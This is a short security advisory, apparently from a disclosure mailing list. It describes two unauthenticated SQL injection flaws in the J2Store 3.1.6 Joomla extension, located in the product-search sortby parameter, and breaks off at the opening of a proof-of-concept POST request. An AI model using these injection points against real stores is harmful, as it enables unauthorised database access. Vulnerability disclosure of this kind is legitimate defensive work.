J2Store 3.1.6 unauthenticated SQL injections

Posted by Brandon Perry on Jul 10

J2Store v3.1.6, a Joomla! extension that adds basic store functionality to
a Joomla! instance, suffered from two unauthenticated boolean-blind and
error-based SQL injection vulnerabilities. Since February 2015, J2Store has
had about 16,000 downloads as of this writing.

The first vulnerability was in the sortby parameter within a request made
while searching for products.

POST /index.php HTTP/1.1
Host: 192.168.1.3
User-Agent: Mozilla/5.0…